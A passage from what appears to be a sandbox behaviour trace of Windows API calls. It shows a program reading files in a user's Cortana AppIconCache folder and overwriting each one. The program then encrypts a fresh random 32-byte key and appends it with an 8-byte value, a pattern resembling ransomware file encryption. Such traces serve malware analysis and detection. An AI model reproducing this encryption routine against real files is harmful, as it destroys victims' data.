pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.868] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.868] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.868] CloseHandle (hObject=0x1af4) returned 1 [0180.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.870] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5DB529E8-8819-4E86-B114-23BA7B771028}", dwFileAttributes=0x80) returned 1 [0180.870] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5DB529E8-8819-4E86-B114-23BA7B771028}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5db529e8-8819-4e86-b114-23ba7b771028}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.870] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.871] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.872] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.872] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.872] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.872] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.872] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.873] CloseHandle (hObject=0x1af4) returned 1 [0180.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.874] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}", dwFileAttributes=0x80) returned 1 [0180.874] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5ab008cb-0ce6-4ffc-9bf2-a552fcbd0a3c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.875] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3750) returned 1 [0180.875] ReadFile (in: hFile=0x1af4, lpBuffer=0x619440, nNumberOfBytesToRead=0xea6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0xea6, lpOverlapped=0x0) returned 1 [0180.876] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-3750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.876] WriteFile (in: hFile=0x1af4, lpBuffer=0x60abe0*, nNumberOfBytesToWrite=0xea6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xea6, lpOverlapped=0x0) returned 1 [0180.876] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xea6 [0180.876] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.876] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.876] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.876] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.876] CloseHandle (hObject=0x1af4) returned 1 [0180.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.879] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{58BFC882-C01D-4396-BF26-A55720BADA37}", dwFileAttributes=0x80) returned 1 [0180.880] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{58BFC882-C01D-4396-BF26-A55720BADA37}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{58bfc882-c01d-4396-bf26-a55720bada37}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.880] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.880] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.888] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.888] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.889] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.889] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.889] CloseHandle (hObject=0x1af4) returned 1 [0180.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{56628538-F2B6-49FB-9D10-354E728724C4}", dwFileAttributes=0x80) returned 1 [0180.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{56628538-F2B6-49FB-9D10-354E728724C4}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{56628538-f2b6-49fb-9d10-354e728724c4}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.892] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.892] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.893] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.893] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.893] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.893] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.894] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.894] CloseHandle (hObject=0x1af4) returned 1 [0180.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.895] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}", dwFileAttributes=0x80) returned 1 [0180.895] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5637c49e-dea6-4d65-b115-d7690b7a1cb0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.896] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.896] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.897] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.897] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.897] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.897] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.898] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.898] CloseHandle (hObject=0x1af4) returned 1 [0180.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.899] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5567FA0F-AE06-4D14-B697-1F596323F48A}", dwFileAttributes=0x80) returned 1 [0180.900] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5567FA0F-AE06-4D14-B697-1F596323F48A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5567fa0f-ae06-4d14-b697-1f596323f48a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.900] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.900] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.902] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.902] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.902] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.902] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.902] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.902] CloseHandle (hObject=0x1af4) returned 1 [0180.904] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.904] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.904] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5534E575-0865-48C0-B802-046F4903AAF0}", dwFileAttributes=0x80) returned 1 [0180.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5534E575-0865-48C0-B802-046F4903AAF0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5534e575-0865-48c0-b802-046f4903aaf0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.904] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.905] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.906] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.906] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.906] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.906] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.906] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.907] CloseHandle (hObject=0x1af4) returned 1 [0180.918] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.918] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0180.918] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{53F21F3D-8237-4CEC-A18E-8D26D784916C}", dwFileAttributes=0x80) returned 1 [0180.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{53F21F3D-8237-4CEC-A18E-8D26D784916C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{53f21f3d-8237-4cec-a18e-8d26d784916c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.919] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.919] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.920] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.920] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.920] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.920] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.921] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.921] CloseHandle (hObject=0x1af4) returned 1 [0180.922] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, 